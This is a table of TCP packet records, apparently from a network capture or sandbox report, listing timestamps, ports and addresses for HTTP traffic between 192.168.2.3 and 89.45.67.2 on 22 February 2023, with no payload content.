Feb 22, 2023 09:43:45.820185900 CET	49711	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.622582912 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.665591955 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.665694952 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.708884001 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.708966017 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.752028942 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.752063990 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.752510071 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.752782106 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.753031015 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.795850039 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.795881987 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.795897961 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.795913935 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.796005011 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.796060085 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.839164019 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.839194059 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.839209080 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.839224100 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.839237928 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.839252949 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.839302063 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.839329004 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.839390039 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.839425087 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.839442015 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.882428885 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.882457972 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.882474899 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.882489920 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.882508993 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.882520914 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.882524967 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.882574081 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.882702112 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.882719040 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.882805109 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.882888079 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.882926941 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.883008957 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.883048058 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.883048058 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.883083105 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.883358002 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.883514881 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.883723021 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.883912086 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.884140968 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.988923073 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.988986015 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989022017 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989057064 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989094973 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989103079 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.989103079 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.989115953 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989152908 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989187002 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989222050 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989255905 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989289999 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989325047 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989358902 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989394903 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989433050 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989469051 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989505053 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989540100 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989577055 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:47.989583015 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.989815950 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.989922047 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.990137100 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.990371943 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.990829945 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.990829945 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:47.990880013 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.032807112 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.032867908 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.032891035 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.032907963 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.032938004 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.032964945 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.033065081 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.033103943 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.033106089 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.033127069 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.033143044 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.033165932 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.033194065 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.033241034 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.033299923 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.033683062 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.033741951 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.033885956 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.033961058 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.033973932 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034012079 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034020901 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034049988 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034121990 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034121990 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034146070 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034194946 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034226894 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034308910 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034351110 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034362078 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034404993 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034523010 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034579039 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034816980 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034856081 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034876108 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034898043 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034929037 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034938097 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.034951925 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.034986019 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.035034895 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.035051107 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.035073042 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.035094023 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.035126925 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.035173893 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.035223961 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.035327911 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.035378933 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.035469055 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.035506964 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.035518885 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.035556078 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.078191996 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078238964 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078253984 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078269005 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078284025 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078299046 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078308105 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078308105 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.078324080 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078340054 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078356028 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078362942 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.078372955 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078388929 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078404903 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078422070 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078435898 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078546047 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078615904 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.078671932 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078706980 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.078816891 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.078865051 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078944921 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.078958035 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.078944921 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.079025030 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.079030991 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.079085112 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.079130888 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.079200983 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.079251051 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.079301119 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.079319000 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.079370022 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.079478979 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.079554081 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.079688072 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.079747915 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.079750061 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.079803944 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.079878092 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.079963923 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.122809887 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.122864962 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.122879982 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.122934103 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.122931957 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.122952938 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123056889 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.123182058 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123202085 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123220921 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.123255968 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123275995 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123291969 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.123338938 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123456001 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.123461008 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123486042 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123588085 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.123651981 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123744965 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.123744965 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.123774052 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123843908 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123886108 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.123929977 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.123929977 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.124001026 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.124025106 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.124046087 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.124108076 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.124109030 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.124134064 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.124190092 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.124191046 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.124208927 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.124303102 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.167639971 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.167664051 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.167736053 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.167928934 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.172432899 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172463894 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172497034 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172512054 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172525883 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172540903 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172540903 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.172540903 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.172555923 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172570944 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172586918 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172600031 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172615051 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172629118 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172641993 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172656059 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172671080 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172687054 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172697067 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.172702074 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172718048 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172733068 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172746897 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172761917 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172780037 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.172780991 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.172856092 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.172921896 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.173003912 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.173073053 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.173140049 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.209574938 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.209645987 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.217730999 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217766047 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217783928 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217797995 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217812061 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217827082 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217833042 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.217840910 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217855930 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217869043 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.217880964 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217895985 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217911005 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217926025 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217940092 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217953920 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217968941 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.217982054 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.218116045 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.218151093 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.218256950 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.218317032 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.218343973 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.218437910 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.242253065 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.242347002 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.242578030 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.242655039 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.261081934 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261117935 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261137962 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261156082 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261174917 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261210918 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.261226892 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261383057 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261401892 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261454105 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261503935 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261523962 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.261600018 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261620045 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.261627913 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.261730909 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.261817932 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.285793066 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.285845041 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.285873890 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.285904884 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.285937071 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.286057949 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.286058903 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.286058903 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.286168098 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.286396980 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.286428928 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.287067890 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.287162066 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.287225962 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.304529905 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.304588079 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.304615974 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.304641962 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.304641008 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.304666996 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.304692030 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.304702997 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.304702997 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.304718018 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.304828882 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.304898024 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.304923058 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.304945946 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.305114985 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.308646917 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.308805943 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.311552048 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.311739922 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.329336882 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.329380035 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.329483986 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.329493999 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.329655886 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.329655886 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.330061913 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.330081940 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.330172062 CET	80	49714	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:48.330172062 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.330172062 CET	49714	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:48.330260038 CET	49714	80	192.168.2.3	89.45.67.2
